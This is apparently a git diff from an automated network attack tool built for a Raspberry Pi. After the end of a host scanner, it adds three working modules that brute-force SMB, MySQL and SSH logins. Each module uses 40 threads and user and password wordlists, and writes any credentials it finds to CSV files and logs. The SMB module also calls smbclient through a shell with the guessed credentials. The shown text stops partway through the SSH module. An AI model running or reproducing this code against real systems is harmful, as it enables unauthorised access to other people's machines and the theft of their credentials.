if self.blacklistcheck and (mac in self.mac_scan_blacklist or ip in self.ip_scan_blacklist):
|
||||||
|
continue
|
||||||
|
alive = '1' if mac in alive_macs else '0'
|
||||||
|
row = [ip, hostname, alive, mac] + [Text(str(port), style="green bold") if port in ports else Text("", style="on red") for port in all_ports]
|
||||||
|
table.add_row(*row)
|
||||||
|
netkb_data.append([mac, ip, hostname, ports])
|
||||||
|
|
||||||
|
with self.lock:
|
||||||
|
with open(csv_result_file, 'w', newline='') as file:
|
||||||
|
writer = csv.writer(file)
|
||||||
|
writer.writerow(["IP", "Hostname", "Alive", "MAC Address"] + [str(port) for port in all_ports])
|
||||||
|
for ip, ports, hostname, mac in zip(ip_data.ip_list, open_ports.values(), ip_data.hostname_list, ip_data.mac_list):
|
||||||
|
if self.blacklistcheck and (mac in self.mac_scan_blacklist or ip in self.ip_scan_blacklist):
|
||||||
|
continue
|
||||||
|
alive = '1' if mac in alive_macs else '0'
|
||||||
|
writer.writerow([ip, hostname, alive, mac] + [str(port) if port in ports else '' for port in all_ports])
|
||||||
|
|
||||||
|
self.update_netkb(netkbfile, netkb_data, alive_macs)
|
||||||
|
|
||||||
|
if self.displaying_csv:
|
||||||
|
self.display_csv(csv_result_file)
|
||||||
|
|
||||||
|
source_csv_path = self.shared_data.netkbfile
|
||||||
|
output_csv_path = self.shared_data.livestatusfile
|
||||||
|
|
||||||
|
updater = self.LiveStatusUpdater(source_csv_path, output_csv_path)
|
||||||
|
updater.update_livestatus()
|
||||||
|
updater.clean_scan_results(self.shared_data.scan_results_dir)
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Error in scan: {e}")
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
"""
|
||||||
|
Starts the scanner in a separate thread.
|
||||||
|
"""
|
||||||
|
if not self.running:
|
||||||
|
self.running = True
|
||||||
|
self.thread = threading.Thread(target=self.scan)
|
||||||
|
self.thread.start()
|
||||||
|
logger.info("NetworkScanner started.")
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
"""
|
||||||
|
Stops the scanner.
|
||||||
|
"""
|
||||||
|
if self.running:
|
||||||
|
self.running = False
|
||||||
|
if self.thread.is_alive():
|
||||||
|
self.thread.join()
|
||||||
|
logger.info("NetworkScanner stopped.")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
shared_data = SharedData()
|
||||||
|
scanner = NetworkScanner(shared_data)
|
||||||
|
scanner.scan()
|
||||||
261
actions/smb_connector.py
Normal file
@@ -0,0 +1,261 @@
|
|||||||
|
"""
|
||||||
|
smb_connector.py - This script performs a brute force attack on SMB services (port 445) to find accessible shares using various user credentials. It logs the results of successful connections.
|
||||||
|
"""
|
||||||
|
import os
|
||||||
|
import pandas as pd
|
||||||
|
import threading
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
from subprocess import Popen, PIPE
|
||||||
|
from rich.console import Console
|
||||||
|
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn
|
||||||
|
from smb.SMBConnection import SMBConnection
|
||||||
|
from queue import Queue
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
# Configure the logger
|
||||||
|
logger = Logger(name="smb_connector.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# Define the necessary global variables
|
||||||
|
b_class = "SMBBruteforce"
|
||||||
|
b_module = "smb_connector"
|
||||||
|
b_status = "brute_force_smb"
|
||||||
|
b_port = 445
|
||||||
|
b_parent = None
|
||||||
|
|
||||||
|
# List of generic shares to ignore
|
||||||
|
IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$'}
|
||||||
|
|
||||||
|
class SMBBruteforce:
|
||||||
|
"""
|
||||||
|
Class to handle the SMB brute force process.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.smb_connector = SMBConnector(shared_data)
|
||||||
|
logger.info("SMBConnector initialized.")
|
||||||
|
|
||||||
|
def bruteforce_smb(self, ip, port):
|
||||||
|
"""
|
||||||
|
Run the SMB brute force attack on the given IP and port.
|
||||||
|
"""
|
||||||
|
return self.smb_connector.run_bruteforce(ip, port)
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key):
|
||||||
|
"""
|
||||||
|
Execute the brute force attack and update status.
|
||||||
|
"""
|
||||||
|
self.shared_data.bjornorch_status = "SMBBruteforce"
|
||||||
|
success, results = self.bruteforce_smb(ip, port)
|
||||||
|
return 'success' if success else 'failed'
|
||||||
|
|
||||||
|
class SMBConnector:
|
||||||
|
"""
|
||||||
|
Class to manage the connection attempts and store the results.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.scan = pd.read_csv(shared_data.netkbfile)
|
||||||
|
|
||||||
|
if "Ports" not in self.scan.columns:
|
||||||
|
self.scan["Ports"] = None
|
||||||
|
self.scan = self.scan[self.scan["Ports"].str.contains("445", na=False)]
|
||||||
|
|
||||||
|
self.users = open(shared_data.usersfile, "r").read().splitlines()
|
||||||
|
self.passwords = open(shared_data.passwordsfile, "r").read().splitlines()
|
||||||
|
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.smbfile = shared_data.smbfile
|
||||||
|
# If the file doesn't exist, it will be created
|
||||||
|
if not os.path.exists(self.smbfile):
|
||||||
|
logger.info(f"File {self.smbfile} does not exist. Creating...")
|
||||||
|
with open(self.smbfile, "w") as f:
|
||||||
|
f.write("MAC Address,IP Address,Hostname,Share,User,Password,Port\n")
|
||||||
|
self.results = [] # List to store results temporarily
|
||||||
|
self.queue = Queue()
|
||||||
|
self.console = Console()
|
||||||
|
|
||||||
|
def load_scan_file(self):
|
||||||
|
"""
|
||||||
|
Load the netkb file and filter it for SMB ports.
|
||||||
|
"""
|
||||||
|
self.scan = pd.read_csv(self.shared_data.netkbfile)
|
||||||
|
|
||||||
|
if "Ports" not in self.scan.columns:
|
||||||
|
self.scan["Ports"] = None
|
||||||
|
self.scan = self.scan[self.scan["Ports"].str.contains("445", na=False)]
|
||||||
|
|
||||||
|
def smb_connect(self, adresse_ip, user, password):
|
||||||
|
"""
|
||||||
|
Attempt to connect to an SMB service using the given credentials.
|
||||||
|
"""
|
||||||
|
conn = SMBConnection(user, password, "Bjorn", "Target", use_ntlm_v2=True)
|
||||||
|
try:
|
||||||
|
conn.connect(adresse_ip, 445)
|
||||||
|
shares = conn.listShares()
|
||||||
|
accessible_shares = []
|
||||||
|
for share in shares:
|
||||||
|
if share.isSpecial or share.isTemporary or share.name in IGNORED_SHARES:
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
conn.listPath(share.name, '/')
|
||||||
|
accessible_shares.append(share.name)
|
||||||
|
logger.info(f"Access to share {share.name} successful on {adresse_ip} with user '{user}'")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error accessing share {share.name} on {adresse_ip} with user '{user}': {e}")
|
||||||
|
conn.close()
|
||||||
|
return accessible_shares
|
||||||
|
except Exception as e:
|
||||||
|
return []
|
||||||
|
|
||||||
|
def smbclient_l(self, adresse_ip, user, password):
|
||||||
|
"""
|
||||||
|
Attempt to list shares using smbclient -L command.
|
||||||
|
"""
|
||||||
|
command = f'smbclient -L {adresse_ip} -U {user}%{password}'
|
||||||
|
try:
|
||||||
|
process = Popen(command, shell=True, stdout=PIPE, stderr=PIPE)
|
||||||
|
stdout, stderr = process.communicate()
|
||||||
|
if b"Sharename" in stdout:
|
||||||
|
logger.info(f"Successful authentication for {adresse_ip} with user '{user}' & password '{password}' using smbclient -L")
|
||||||
|
logger.info(stdout.decode())
|
||||||
|
shares = self.parse_shares(stdout.decode())
|
||||||
|
return shares
|
||||||
|
else:
|
||||||
|
logger.error(f"Failed authentication for {adresse_ip} with user '{user}' & password '{password}' using smbclient -L")
|
||||||
|
return []
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error executing command '{command}': {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def parse_shares(self, smbclient_output):
|
||||||
|
"""
|
||||||
|
Parse the output of smbclient -L to get the list of shares.
|
||||||
|
"""
|
||||||
|
shares = []
|
||||||
|
lines = smbclient_output.splitlines()
|
||||||
|
for line in lines:
|
||||||
|
if line.strip() and not line.startswith("Sharename") and not line.startswith("---------"):
|
||||||
|
parts = line.split()
|
||||||
|
if parts and parts[0] not in IGNORED_SHARES:
|
||||||
|
shares.append(parts[0])
|
||||||
|
return shares
|
||||||
|
|
||||||
|
def worker(self, progress, task_id, success_flag):
|
||||||
|
"""
|
||||||
|
Worker thread to process items in the queue.
|
||||||
|
"""
|
||||||
|
while not self.queue.empty():
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
||||||
|
break
|
||||||
|
|
||||||
|
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||||||
|
shares = self.smb_connect(adresse_ip, user, password)
|
||||||
|
if shares:
|
||||||
|
with self.lock:
|
||||||
|
for share in shares:
|
||||||
|
if share not in IGNORED_SHARES:
|
||||||
|
self.results.append([mac_address, adresse_ip, hostname, share, user, password, port])
|
||||||
|
logger.success(f"Found credentials for IP: {adresse_ip} | User: {user} | Share: {share}")
|
||||||
|
self.save_results()
|
||||||
|
self.removeduplicates()
|
||||||
|
success_flag[0] = True
|
||||||
|
self.queue.task_done()
|
||||||
|
progress.update(task_id, advance=1)
|
||||||
|
|
||||||
|
def run_bruteforce(self, adresse_ip, port):
|
||||||
|
self.load_scan_file() # Reload the scan file to get the latest IPs and ports
|
||||||
|
|
||||||
|
mac_address = self.scan.loc[self.scan['IPs'] == adresse_ip, 'MAC Address'].values[0]
|
||||||
|
hostname = self.scan.loc[self.scan['IPs'] == adresse_ip, 'Hostnames'].values[0]
|
||||||
|
|
||||||
|
total_tasks = len(self.users) * len(self.passwords)
|
||||||
|
|
||||||
|
for user in self.users:
|
||||||
|
for password in self.passwords:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||||
|
return False, []
|
||||||
|
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||||
|
|
||||||
|
success_flag = [False]
|
||||||
|
threads = []
|
||||||
|
|
||||||
|
with Progress(SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%")) as progress:
|
||||||
|
task_id = progress.add_task("[cyan]Bruteforcing SMB...", total=total_tasks)
|
||||||
|
|
||||||
|
for _ in range(40): # Adjust the number of threads based on the RPi Zero's capabilities
|
||||||
|
t = threading.Thread(target=self.worker, args=(progress, task_id, success_flag))
|
||||||
|
t.start()
|
||||||
|
threads.append(t)
|
||||||
|
|
||||||
|
while not self.queue.empty():
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping bruteforce.")
|
||||||
|
while not self.queue.empty():
|
||||||
|
self.queue.get()
|
||||||
|
self.queue.task_done()
|
||||||
|
break
|
||||||
|
|
||||||
|
self.queue.join()
|
||||||
|
|
||||||
|
for t in threads:
|
||||||
|
t.join()
|
||||||
|
|
||||||
|
# If no success with direct SMB connection, try smbclient -L
|
||||||
|
if not success_flag[0]:
|
||||||
|
logger.info(f"No successful authentication with direct SMB connection. Trying smbclient -L for {adresse_ip}")
|
||||||
|
for user in self.users:
|
||||||
|
for password in self.passwords:
|
||||||
|
progress.update(task_id, advance=1)
|
||||||
|
shares = self.smbclient_l(adresse_ip, user, password)
|
||||||
|
if shares:
|
||||||
|
with self.lock:
|
||||||
|
for share in shares:
|
||||||
|
if share not in IGNORED_SHARES:
|
||||||
|
self.results.append([mac_address, adresse_ip, hostname, share, user, password, port])
|
||||||
|
logger.success(f"(SMB) Found credentials for IP: {adresse_ip} | User: {user} | Share: {share} using smbclient -L")
|
||||||
|
self.save_results()
|
||||||
|
self.removeduplicates()
|
||||||
|
success_flag[0] = True
|
||||||
|
if self.shared_data.timewait_smb > 0:
|
||||||
|
time.sleep(self.shared_data.timewait_smb) # Wait for the specified interval before the next attempt
|
||||||
|
|
||||||
|
return success_flag[0], self.results # Return True and the list of successes if at least one attempt was successful
|
||||||
|
|
||||||
|
def save_results(self):
|
||||||
|
"""
|
||||||
|
Save the results of successful connection attempts to a CSV file.
|
||||||
|
"""
|
||||||
|
df = pd.DataFrame(self.results, columns=['MAC Address', 'IP Address', 'Hostname', 'Share', 'User', 'Password', 'Port'])
|
||||||
|
df.to_csv(self.smbfile, index=False, mode='a', header=not os.path.exists(self.smbfile))
|
||||||
|
self.results = [] # Reset temporary results after saving
|
||||||
|
|
||||||
|
def removeduplicates(self):
|
||||||
|
"""
|
||||||
|
Remove duplicate entries from the results CSV file.
|
||||||
|
"""
|
||||||
|
df = pd.read_csv(self.smbfile)
|
||||||
|
df.drop_duplicates(inplace=True)
|
||||||
|
df.to_csv(self.smbfile, index=False)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
shared_data = SharedData()
|
||||||
|
try:
|
||||||
|
smb_bruteforce = SMBBruteforce(shared_data)
|
||||||
|
logger.info("[bold green]Starting SMB brute force attack on port 445[/bold green]")
|
||||||
|
|
||||||
|
# Load the netkb file and get the IPs to scan
|
||||||
|
ips_to_scan = shared_data.read_data()
|
||||||
|
|
||||||
|
# Execute the brute force on each IP
|
||||||
|
for row in ips_to_scan:
|
||||||
|
ip = row["IPs"]
|
||||||
|
smb_bruteforce.execute(ip, b_port, row, b_status)
|
||||||
|
|
||||||
|
logger.info(f"Total number of successful attempts: {len(smb_bruteforce.smb_connector.results)}")
|
||||||
|
exit(len(smb_bruteforce.smb_connector.results))
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error: {e}")
|
||||||
204
actions/sql_connector.py
Normal file
@@ -0,0 +1,204 @@
|
|||||||
|
import os
|
||||||
|
import pandas as pd
|
||||||
|
import pymysql
|
||||||
|
import threading
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
from rich.console import Console
|
||||||
|
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn
|
||||||
|
from queue import Queue
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
# Configure the logger
|
||||||
|
logger = Logger(name="sql_bruteforce.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# Define the necessary global variables
|
||||||
|
b_class = "SQLBruteforce"
|
||||||
|
b_module = "sql_connector"
|
||||||
|
b_status = "brute_force_sql"
|
||||||
|
b_port = 3306
|
||||||
|
b_parent = None
|
||||||
|
|
||||||
|
|
||||||
|
class SQLBruteforce:
|
||||||
|
"""
|
||||||
|
Class to handle the SQL brute force process.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.sql_connector = SQLConnector(shared_data)
|
||||||
|
logger.info("SQLConnector initialized.")
|
||||||
|
|
||||||
|
def bruteforce_sql(self, ip, port):
|
||||||
|
"""
|
||||||
|
Run the SQL brute force attack on the given IP and port.
|
||||||
|
"""
|
||||||
|
return self.sql_connector.run_bruteforce(ip, port)
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key):
|
||||||
|
"""
|
||||||
|
Execute the brute force attack and update status.
|
||||||
|
"""
|
||||||
|
success, results = self.bruteforce_sql(ip, port)
|
||||||
|
return 'success' if success else 'failed'
|
||||||
|
|
||||||
|
class SQLConnector:
|
||||||
|
"""
|
||||||
|
Class to manage the connection attempts and store the results.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.load_scan_file()
|
||||||
|
self.users = open(shared_data.usersfile, "r").read().splitlines()
|
||||||
|
self.passwords = open(shared_data.passwordsfile, "r").read().splitlines()
|
||||||
|
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.sqlfile = shared_data.sqlfile
|
||||||
|
if not os.path.exists(self.sqlfile):
|
||||||
|
with open(self.sqlfile, "w") as f:
|
||||||
|
f.write("IP Address,User,Password,Port,Database\n")
|
||||||
|
self.results = []
|
||||||
|
self.queue = Queue()
|
||||||
|
self.console = Console()
|
||||||
|
|
||||||
|
def load_scan_file(self):
|
||||||
|
"""
|
||||||
|
Load the scan file and filter it for SQL ports.
|
||||||
|
"""
|
||||||
|
self.scan = pd.read_csv(self.shared_data.netkbfile)
|
||||||
|
if "Ports" not in self.scan.columns:
|
||||||
|
self.scan["Ports"] = None
|
||||||
|
self.scan = self.scan[self.scan["Ports"].str.contains("3306", na=False)]
|
||||||
|
|
||||||
|
def sql_connect(self, adresse_ip, user, password):
|
||||||
|
"""
|
||||||
|
Attempt to connect to an SQL service using the given credentials without specifying a database.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
# Première tentative sans spécifier de base de données
|
||||||
|
conn = pymysql.connect(
|
||||||
|
host=adresse_ip,
|
||||||
|
user=user,
|
||||||
|
password=password,
|
||||||
|
port=3306
|
||||||
|
)
|
||||||
|
|
||||||
|
# Si la connexion réussit, récupérer la liste des bases de données
|
||||||
|
with conn.cursor() as cursor:
|
||||||
|
cursor.execute("SHOW DATABASES")
|
||||||
|
databases = [db[0] for db in cursor.fetchall()]
|
||||||
|
|
||||||
|
conn.close()
|
||||||
|
logger.info(f"Successfully connected to {adresse_ip} with user {user}")
|
||||||
|
logger.info(f"Available databases: {', '.join(databases)}")
|
||||||
|
|
||||||
|
# Sauvegarder les informations avec la liste des bases trouvées
|
||||||
|
return True, databases
|
||||||
|
|
||||||
|
except pymysql.Error as e:
|
||||||
|
logger.error(f"Failed to connect to {adresse_ip} with user {user}: {e}")
|
||||||
|
return False, []
|
||||||
|
|
||||||
|
|
||||||
|
def worker(self, progress, task_id, success_flag):
|
||||||
|
"""
|
||||||
|
Worker thread to process items in the queue.
|
||||||
|
"""
|
||||||
|
while not self.queue.empty():
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
||||||
|
break
|
||||||
|
|
||||||
|
adresse_ip, user, password, port = self.queue.get()
|
||||||
|
success, databases = self.sql_connect(adresse_ip, user, password)
|
||||||
|
|
||||||
|
if success:
|
||||||
|
with self.lock:
|
||||||
|
# Ajouter une entrée pour chaque base de données trouvée
|
||||||
|
for db in databases:
|
||||||
|
self.results.append([adresse_ip, user, password, port, db])
|
||||||
|
|
||||||
|
logger.success(f"Found credentials for IP: {adresse_ip} | User: {user} | Password: {password}")
|
||||||
|
logger.success(f"Databases found: {', '.join(databases)}")
|
||||||
|
self.save_results()
|
||||||
|
self.remove_duplicates()
|
||||||
|
success_flag[0] = True
|
||||||
|
|
||||||
|
self.queue.task_done()
|
||||||
|
progress.update(task_id, advance=1)
|
||||||
|
|
||||||
|
def run_bruteforce(self, adresse_ip, port):
|
||||||
|
self.load_scan_file()
|
||||||
|
|
||||||
|
total_tasks = len(self.users) * len(self.passwords)
|
||||||
|
|
||||||
|
for user in self.users:
|
||||||
|
for password in self.passwords:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||||
|
return False, []
|
||||||
|
self.queue.put((adresse_ip, user, password, port))
|
||||||
|
|
||||||
|
success_flag = [False]
|
||||||
|
threads = []
|
||||||
|
|
||||||
|
with Progress(SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%")) as progress:
|
||||||
|
task_id = progress.add_task("[cyan]Bruteforcing SQL...", total=total_tasks)
|
||||||
|
|
||||||
|
for _ in range(40): # Adjust the number of threads based on the RPi Zero's capabilities
|
||||||
|
t = threading.Thread(target=self.worker, args=(progress, task_id, success_flag))
|
||||||
|
t.start()
|
||||||
|
threads.append(t)
|
||||||
|
|
||||||
|
while not self.queue.empty():
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping bruteforce.")
|
||||||
|
while not self.queue.empty():
|
||||||
|
self.queue.get()
|
||||||
|
self.queue.task_done()
|
||||||
|
break
|
||||||
|
|
||||||
|
self.queue.join()
|
||||||
|
|
||||||
|
for t in threads:
|
||||||
|
t.join()
|
||||||
|
|
||||||
|
logger.info(f"Bruteforcing complete with success status: {success_flag[0]}")
|
||||||
|
return success_flag[0], self.results # Return True and the list of successes if at least one attempt was successful
|
||||||
|
|
||||||
|
def save_results(self):
|
||||||
|
"""
|
||||||
|
Save the results of successful connection attempts to a CSV file.
|
||||||
|
"""
|
||||||
|
df = pd.DataFrame(self.results, columns=['IP Address', 'User', 'Password', 'Port', 'Database'])
|
||||||
|
df.to_csv(self.sqlfile, index=False, mode='a', header=not os.path.exists(self.sqlfile))
|
||||||
|
logger.info(f"Saved results to {self.sqlfile}")
|
||||||
|
self.results = []
|
||||||
|
|
||||||
|
def remove_duplicates(self):
|
||||||
|
"""
|
||||||
|
Remove duplicate entries from the results CSV file.
|
||||||
|
"""
|
||||||
|
df = pd.read_csv(self.sqlfile)
|
||||||
|
df.drop_duplicates(inplace=True)
|
||||||
|
df.to_csv(self.sqlfile, index=False)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
shared_data = SharedData()
|
||||||
|
try:
|
||||||
|
sql_bruteforce = SQLBruteforce(shared_data)
|
||||||
|
logger.info("[bold green]Starting SQL brute force attack on port 3306[/bold green]")
|
||||||
|
|
||||||
|
# Load the IPs to scan from shared data
|
||||||
|
ips_to_scan = shared_data.read_data()
|
||||||
|
|
||||||
|
# Execute brute force attack on each IP
|
||||||
|
for row in ips_to_scan:
|
||||||
|
ip = row["IPs"]
|
||||||
|
sql_bruteforce.execute(ip, b_port, row, b_status)
|
||||||
|
|
||||||
|
logger.info(f"Total successful attempts: {len(sql_bruteforce.sql_connector.results)}")
|
||||||
|
exit(len(sql_bruteforce.sql_connector.results))
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error: {e}")
|
||||||
198
actions/ssh_connector.py
Normal file
@@ -0,0 +1,198 @@
|
|||||||
|
"""
|
||||||
|
ssh_connector.py - This script performs a brute force attack on SSH services (port 22) to find accessible accounts using various user credentials. It logs the results of successful connections.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import pandas as pd
|
||||||
|
import paramiko
|
||||||
|
import socket
|
||||||
|
import threading
|
||||||
|
import logging
|
||||||
|
from queue import Queue
|
||||||
|
from rich.console import Console
|
||||||
|
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
# Configure the logger
|
||||||
|
logger = Logger(name="ssh_connector.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# Define the necessary global variables
|
||||||
|
b_class = "SSHBruteforce"
|
||||||
|
b_module = "ssh_connector"
|
||||||
|
b_status = "brute_force_ssh"
|
||||||
|
b_port = 22
|
||||||
|
b_parent = None
|
||||||
|
|
||||||
|
class SSHBruteforce:
|
||||||
|
"""
|
||||||
|
Class to handle the SSH brute force process.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.ssh_connector = SSHConnector(shared_data)
|
||||||
|
logger.info("SSHConnector initialized.")
|
||||||
|
|
||||||
|
def bruteforce_ssh(self, ip, port):
|
||||||
|
"""
|
||||||
|
Run the SSH brute force attack on the given IP and port.
|
||||||
|
"""
|
||||||
|
logger.info(f"Running bruteforce_ssh on {ip}:{port}...")
|
||||||
|
return self.ssh_connector.run_bruteforce(ip, port)
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key):
|
||||||
|
"""
|
||||||
|
Execute the brute force attack and update status.
|
||||||
|
"""
|
||||||
|
logger.info(f"Executing SSHBruteforce on {ip}:{port}...")
|
||||||
|
self.shared_data.bjornorch_status = "SSHBruteforce"
|
||||||
|
success, results = self.bruteforce_ssh(ip, port)
|
||||||
|
return 'success' if success else 'failed'
|
||||||
|
|
||||||
|
class SSHConnector:
|
||||||
|
"""
|
||||||
|
Class to manage the connection attempts and store the results.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.scan = pd.read_csv(shared_data.netkbfile)
|
||||||
|
|
||||||
|
if "Ports" not in self.scan.columns:
|
||||||
|
self.scan["Ports"] = None
|
||||||
|
self.scan = self.scan[self.scan["Ports"].str.contains("22", na=False)]
|
||||||
|
|
||||||
|
self.users = open(shared_data.usersfile, "r").read().splitlines()
|
||||||
|
self.passwords = open(shared_data.passwordsfile, "r").read().splitlines()
|
||||||
|
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.sshfile = shared_data.sshfile
|
||||||
|
if not os.path.exists(self.sshfile):
|
||||||
|
logger.info(f"File {self.sshfile} does not exist. Creating...")
|
||||||
|
with open(self.sshfile, "w") as f:
|
||||||
|
f.write("MAC Address,IP Address,Hostname,User,Password,Port\n")
|
||||||
|
self.results = [] # List to store results temporarily
|
||||||
|
self.queue = Queue()
|
||||||
|
self.console = Console()
|
||||||
|
|
||||||
|
def load_scan_file(self):
|
||||||
|
"""
|
||||||
|
Load the netkb file and filter it for SSH ports.
|
||||||
|
"""
|
||||||
|
self.scan = pd.read_csv(self.shared_data.netkbfile)
|
||||||
|
if "Ports" not in self.scan.columns:
|
||||||
|
self.scan["Ports"] = None
|
||||||
|
self.scan = self.scan[self.scan["Ports"].str.contains("22", na=False)]
|
||||||
|
|
||||||
|
def ssh_connect(self, adresse_ip, user, password):
|
||||||
|
"""
|
||||||
|
Attempt to connect to an SSH service using the given credentials.
|
||||||
|
"""
|
||||||
|
ssh = paramiko.SSHClient()
|
||||||
|
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
|
||||||
|
try:
|
||||||
|
ssh.connect(adresse_ip, username=user, password=password, banner_timeout=200) # Adjust timeout as necessary
|
||||||
|
return True
|
||||||
|
except (paramiko.AuthenticationException, socket.error, paramiko.SSHException):
|
||||||
|
return False
|
||||||
|
finally:
|
||||||
|
ssh.close() # Ensure the SSH connection is closed
|
||||||
|
|
||||||
|
def worker(self, progress, task_id, success_flag):
|
||||||
|
"""
|
||||||
|
Worker thread to process items in the queue.
|
||||||
|
"""
|
||||||
|
while not self.queue.empty():
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
||||||
|
break
|
||||||
|
|
||||||
|
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||||||
|
if self.ssh_connect(adresse_ip, user, password):
|
||||||
|
with self.lock:
|
||||||
|
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
|
||||||
|
logger.success(f"Found credentials IP: {adresse_ip} | User: {user} | Password: {password}")
|
||||||
|
self.save_results()
|
||||||
|
self.removeduplicates()
|
||||||
|
success_flag[0] = True
|
||||||
|
self.queue.task_done()
|
||||||
|
progress.update(task_id, advance=1)
|
||||||
|
|
||||||
|
|
||||||
|
def run_bruteforce(self, adresse_ip, port):
|
||||||
|
self.load_scan_file() # Reload the scan file to get the latest IPs and ports
|
||||||
|
|
||||||
|
mac_address = self.scan.loc[self.scan['IPs'] == adresse_ip, 'MAC Address'].values[0]
|
||||||
|
hostname = self.scan.loc[self.scan['IPs'] == adresse_ip, 'Hostnames'].values[0]
|
||||||
|
|
||||||
|
total_tasks = len(self.users) * len(self.passwords)
|
||||||
|
|
||||||
|
for user in self.users:
|
||||||
|
for password in self.passwords:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||||
|
return False, []
|
||||||
|
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||||
|
|
||||||
|
success_flag = [False]
|
||||||
|
threads = []
|
||||||
|
|
||||||
|
with Progress(SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%")) as progress:
|
||||||
|
task_id = progress.add_task("[cyan]Bruteforcing SSH...", total=total_tasks)
|
||||||
|
|
||||||
|
for _ in range(40): # Adjust the number of threads based on the RPi Zero's capabilities
|
||||||
|
t = threading.Thread(target=self.worker, args=(progress, task_id, success_flag))
|
||||||
|
t.start()
|
||||||
|
threads.append(t)
|
||||||
|
|
||||||
|
while not self.queue.empty():
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping bruteforce.")
|
||||||
|
while not self.queue.empty():
|
||||||
|
self.queue.get()
|
||||||
|
self.queue.task_done()
|
||||||
|
break
|
||||||
|
|
||||||
|
self.queue.join()
|
||||||
|
|
||||||
|
for t in threads:
|
||||||
|
t.join()
|
||||||
|
|
||||||
|
return success_flag[0], self.results # Return True and the list of successes if at least one attempt was successful
|
||||||
|
|
||||||
|
|
||||||
|
def save_results(self):
|
||||||
|
"""
|
||||||
|
Save the results of successful connection attempts to a CSV file.
|
||||||
|
"""
|
||||||
|
df = pd.DataFrame(self.results, columns=['MAC Address', 'IP Address', 'Hostname', 'User', 'Password', 'Port'])
|
||||||
|
df.to_csv(self.sshfile, index=False, mode='a', header=not os.path.exists(self.sshfile))
|
||||||
|
self.results = [] # Reset temporary results after saving
|
||||||
|
|
||||||
|
def removeduplicates(self):
|
||||||
|
"""
|
||||||
|
Remove duplicate entries from the results CSV file.
|
||||||
|
"""
|
||||||
|
df = pd.read_csv(self.sshfile)
|
||||||
|
